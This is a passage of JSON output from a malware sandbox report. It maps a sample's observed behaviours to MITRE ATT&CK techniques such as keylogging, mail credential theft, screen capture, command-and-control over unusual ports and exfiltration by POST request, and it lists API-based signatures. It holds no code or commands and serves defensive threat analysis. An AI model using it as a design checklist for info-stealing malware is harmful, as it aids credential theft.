guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Able to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"suspicious","value":"Calls an API possibly used to take screenshots"},{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"},{"type":"informative","value":"Able to capture drag-drop file operations"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"malicious","value":"Tries to steal Mail credentials from registry"},{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"References server/domain address with port number"},{"type":"malicious","value":"Uses network protocols on unusual ports"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"malicious","value":"Upload file using POST request"},{"type":"suspicious","value":"POSTs data to a web server"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Exfiltration","technique":"Data Transfer Size Limits","attack_id":"T1030","attack_id_wiki":"https://attack.mitre.org/techniques/T1030","sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"cd8ec81fd606ec247099b58e845bb5547ee05a46fd46e732b06397587917e842.bin\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount64\"; File: \"cd8ec81fd606ec247099b58e845bb5547ee05a46fd46e732b06397587917e842.bin\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"cd8ec81fd606ec247099b58e845bb5547ee05a46fd46e732b06397587917e842.bin\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"cd8ec81fd606ec247099b58e845bb5547ee05a46fd46e732b06397587917e842.bin\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\"